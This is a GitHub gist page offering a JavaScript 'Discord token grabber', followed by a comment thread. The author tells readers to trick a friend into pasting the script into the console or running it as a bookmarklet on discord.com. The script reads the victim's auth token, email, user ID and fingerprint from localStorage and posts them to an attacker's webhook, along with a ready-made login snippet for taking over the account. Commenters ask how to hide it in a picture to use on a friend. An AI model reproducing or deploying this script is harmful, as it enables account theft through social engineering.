Skip to content

Instantly share code, notes, and snippets.

@3kh0
Last active June 19, 2024 23:27
Show Gist options
  • Save 3kh0/ec51ce5e567a39db8564e5f8eb854a4b to your computer and use it in GitHub Desktop.
Save 3kh0/ec51ce5e567a39db8564e5f8eb854a4b to your computer and use it in GitHub Desktop.
Discord token grabber

THIS IS NOW PATCHED

Here is a simple Discord Token grabber that sends information in a discord webhook. It is very simple to setup, first copy the script. Then where it says WEBHOOK_URL_HERE, put a webhook url and you are good! Now send the script to a friend and tell them to run it on discord.com as a bookmarklet or pasting it into console. Both ways work!

PREVIEW:

Capture_LI

location.reload();
var discordWebhook = "WEBHOOK_URL_HERE";
var i = document.createElement('iframe');
document.body.appendChild(i);
var request = new XMLHttpRequest();
request.open("POST", discordWebhook);
request.setRequestHeader('Content-type', 'application/json');
var params = {
username: "Webhook",
avatar_url: "https://i1.sndcdn.com/artworks-IKKz2i4vCq7eihIn-HFUKMA-t500x500.jpg",
content: '**Request recived!**\n------------------\nToken: `' + i.contentWindow.localStorage.token + '`\nEmail: `' + i.contentWindow.localStorage.email_cache + '`\nUser ID: `' + i.contentWindow.localStorage.user_id_cache + '`\nFingerprint: `' + i.contentWindow.localStorage.fingerprint + '`\nMisc data: \`\`\`json\n' + i.contentWindow.localStorage.deviceProperties + '\`\`\`Login code: \`\`\`js\nlocation.reload();var i = document.createElement(\'iframe\');document.body.appendChild(i);i.contentWindow.localStorage.token = "\\"' + i.contentWindow.localStorage.token.replace(/^"(.*)"$/, '$1') + '\\""\`\`\`'
};
request.send(JSON.stringify(params));
@retronbv
Copy link

retronbv commented May 6, 2022

in your explanation you said complex.... this looks jango's with a webhook

@3kh0
Copy link
Author

3kh0 commented May 6, 2022

It is a bit like it but it has more fields

@xlegends
Copy link

xlegends commented May 6, 2022

how can i put this in a picture? i wanna test it on my irl friend

@arandomhooman
Copy link

how can i put this in a picture? i wanna test it on my irl friend

Same

@arandomhooman
Copy link

Also is this what got you server deleted

@arandomhooman
Copy link

Hmm, I try and does not seem to work

@arandomhooman
Copy link

This does not seem to work

@arandomhooman
Copy link

For me

@Arxe0
Copy link

Arxe0 commented May 6, 2022

This does not seem to work

well, you need to be on discord.com and yea

@RuralAnemone
Copy link

yeah you need to be on discord
also they are getting pretty good at hiding their local storage so it might be patched

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment